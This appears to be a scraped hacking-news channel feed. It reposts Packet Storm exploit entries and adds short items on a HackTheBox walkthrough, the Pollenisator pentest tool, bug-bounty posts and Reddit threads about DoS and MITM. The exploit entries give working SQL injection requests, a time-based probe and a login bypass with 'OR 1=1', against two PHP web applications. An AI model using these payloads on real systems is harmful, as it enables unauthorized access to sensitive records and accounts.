Exploit Collector
Police Crime Record Management Project 1.0 SQL Injection

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Police Crime Record Management Project version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 799b2319f52c524aa996f903df4c7448

Download
# Exploit Title: Police Crime Record Management Project 1.0 - Time Based SQLi
# Exploit Author: ()t/\/\1
# Date: 23/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14894/police-crime-record-management-system.html
# Tested on: Linux
# Version: 1.0

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.

The application suffers from an unauthenticated SQL Injection vulnerability.Input passed through 'edit' GET parameter in 'http://127.0.0.1//ghpolice/admin/investigation.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and retrieve sensitive data.

# PoC request

GET /ghpolice/admin/investigation.php?edit=210728101'-IF(MID(user(),1,1)='r',SLEEP(2),0)--+- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c
Upgrade-Insecure-Requests: 1

Source:packetstormsecurity.com

Exploit Collector
Pharmacy Point Of Sale System 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Pharmacy Point of Sale System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 0c421cadb58ed3860edd48c36da90815

Download
# Exploit Title: Pharmacy Point of Sale System v1.0 - SQLi Authentication Bypass
# Date: 23.09.2021
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pharmacy.zip
# Version: 1.0
# Tested on: Kali Linux, Windows 10

# Pharmacy Point of Sale System v1.0 Login can be bypassed with a simple SQLi
POST /pharmacy/Actions.php?a=login HTTP/1.1
Host: 192.168.209.170
Content-Length: 38
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.209.170
Referer: http://192.168.209.170/pharmacy/login.php
Accept-Encoding: gzip, deflate
Accept-Language: de-CH,de-DE;q=0.9,de;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=c5mtnqpcavhfgsambtnh4uklag
Connection: close

username='OR+1%3D1+--+-&password=PWNED

Source:packetstormsecurity.com

Exploit Collector
WordPress Advanced Order Export For WooCommerce 3.1.7 Cross Site Scripting

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
WordPress Advanced Order Export For WooCommerce plugin version 3.1.7 suffers from a cross site scripting vulnerability.

MD5 | cda16c38c590a26e4758142316be12a5

Download
# Exploit Title: WordPress Plugin Advanced Order Export For WooCommerce 3.1.7 - Reflected Cross-Site Scripting (XSS)
# Date: 15/2/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/woo-order-export-lite/
# Version: 3.1.7
# Tested on: Windows 10
# CVE: CVE-2021-24169

1. Description:
This plugin helps you to easily export WooCommerce order data. The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/admin.php?page=wc-order-export&tab=

Source:packetstormsecurity.com

Hacking Articles
Scriptkiddie HackTheBox Walkthrough

Script Kiddie is a CTF hosted on Hack the Box with Beginner categories. The objective for the participant is to identify the files user.txt and root.txt on the victim’s system. Penetration Methodlogies Recon Nmap Enumeration Exploit Generating apk Netcat Reverse Connection Post Enumeration Capture User.txt Abusing writeable script Privilege Escalation

The post Scriptkiddie HackTheBox Walkthrough appeared first on Hacking Articles.

Bug-Bounty | FASTMAIL [pobox.com : account takeover]

Hi everyoneContinue reading on Medium »
Read more...

Kali Linux Tutorials
Pollenisator : Collaborative Pentest Tool With Highly Customizable Tools

Pollenisator is a tool aiming to assist pentesters and auditor automating the use of some tools/scripts and keep track of them.

* Written in python 3
* Provides a modelisation of “pentest objects” : Scope, Hosts, Ports, Commands, Tools etc.
* Tools/scripts are separated into 4 categories : wave, Network/domain, IP, Port
* Objects are stored in a NoSQL DB (Mongo)
* Keep links between them to allow queries
* Objects can be created through parsers / manual input
* Business logic can be implemented (auto vuln referencing, item triggers, etc.)
* Many tools/scripts launch conditions are availiable to avoid overloading the target or the scanner.
* A GUI based on tcl/tk

Documentation

Features

* Register your own tools
* Add command line options in your database.
* Create your own light plugin to parse your tool output.
* Use the objects Models to add, update or delete objects to the pentest inside plugins.
* Limit the number of parallel execution of noisy/heavy tools

* Define a recon/fingerprinting procedure with custom tools
* Choose a period to start and stop the tools
* Define your scope with domains and network IP ranges.
* Custom settings to include new hosts in the scope
* Keep results of all files generated through tools executions
* Start the given docker to implement numerous tools for LAN and Web pentest

* Collaborative pentest
* Split the work between your machines by starting one worker by computer you want to use.
* Tags ip or tools to show your team mates that you powned it.
* Take notes on every object to keep trace of your discoveries
* Follow tools status live
* Search in all your objects properties with the fitler bar.
* have a quick summary of all hosts and their open ports and check if some are powned.

* Reporting
* Create security defects on IPs and ports
* Make your plugins create defects directly so you don’t have to
* Generate a Word report of security defects found. You can use your own template with extra work.
* Generate a Powerpoint report of security defects found. You can use your own template with extra work.

* Shipped with preconfigured tools
* IP / port recon : Nmap (Quick nmaps followed by thorough scan)
* Domain enumeration : Knockpy, Sublist3r, dig reverse, crtsh
* Web : WhatWeb, Nikto, HeaderCollectors, http methods, Dirsearch
* LAN : Crackmapexec, eternalblue and bluekeep scan, smbmap, anonymous ftp, enum4linux
* Unknown ports : amap, nmap scripts
* Misc : ikescan, ssh_scan, openrelay, searchsploit
Setup Guide

This setup guide was originally redacted on ubuntu 16.04 /18.04 Lexic

* Worker : A worker is a docker / computer where all the tools you want to run are installed. Those worker will launch them on the target and send the resulting data to the server. The name ‘worker’ comes from the use of celery for this part.
* Server : The server is just a mongo database and a SFTP server. Datas are stored in the database and files are kept in the SFTP directory.
* Client : A client is an instance of pollenisator.py. It interacts with the server to launch tools and get data. Architecture Overview
https://1.bp.blogspot.com/-FsBRxo0qrxc/YT7CSpY4CxI/AAAAAAAAKzw/bCt2rv3Jt9Y9aXuMpKbf8aj1xWaGVXoSQCLcBGAsYHQ/s806/1.png
There can be 1 or + workers, 1 or + pollenisator client and 1 mongo back end The mongo database and sftp server can be setup with docker or manually installed on windows/linux (linux recommanded)

Worker(s) will run the commands in the queue. You can install the tools you want and do some configuration or use the docker file given.

Pollenisator client will check what command are ready to fire accordingly to a bunch of settings and present to everyone connected the results of the scans. Download

___________________________
@hacking_Attack
@Hacking_Video

Bug-Bounty | FASTMAIL [pobox.com : account takeover]
https://medium.com/@the.white.soul.0/bug-bounty-fastmail-pobox-com-account-takeover-e1e2fd190a2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi everyoneContinue reading on Medium » (https://medium.com/@the.white.soul.0/bug-bounty-fastmail-pobox-com-account-takeover-e1e2fd190a2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

SleepyCrypt: Encrypting a running PE image while it sleeps
https://www.reddit.com/r/redteamsec/comments/pu3ejq/sleepycrypt_encrypting_a_running_pe_image_while/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.solomonsklash.io/SleepyCrypt-shellcode-to-encrypt-a-running-image.html) [comments] (https://www.reddit.com/r/redteamsec/comments/pu3ejq/sleepycrypt_encrypting_a_running_pe_image_while/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Here's GETreqt, a slow-DoS attack that's kinda like Slowloris on steroids! What do you think?

https://external-preview.redd.it/VZJZnuAHxOuSveSE3Hf_8xkGae9IU3rFjbl57q7LRRI.jpg?width=640&crop=smart&auto=webp&s=b1a0100568ecfe1a083f1e04c04e6aa24958a293 submitted by /u/McSHUR1KEN
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is there any way to defend against a Deauth Dos attack on your router?

And is it possible to identify who is launching the Deauth attack by capturing the packets or something like that?

submitted by /u/Myth2156
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Really interesting concept using a simple script for DNS DoS Attacks

https://external-preview.redd.it/c68XAGB9BXUhjBR_74f-ZoZkbk59rsMltO7nSgu1xxE.jpg?width=640&crop=smart&auto=webp&s=db9d7670b329776ccbba64b0d868df17c81ee4f3 submitted by /u/entropydaemon3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Setting up a hotspot that proxies through burpsuite

How can I do this? I use windows and I want to mitm some android apis, I already installed the root certificates on the device but the default android proxy settings don't seem to apply to all traffic. So I thought about setting up a wireless access point that routes all the traffic through burpsuite. (or maybe something else is better?) any software thats worth looking into?

I have no idea how to set this up however, I have a dd wrt router at my disposal and network devices that can be put in hotspot mode

submitted by /u/n1c39uy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Bug-Bounty | FASTMAIL [topicbox.com: Privileges Escalation > Organization Takeover]
https://medium.com/@the.white.soul.0/bug-bounty-fastmail-topicbox-com-privileges-escalation-organization-takeover-815466876ad4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video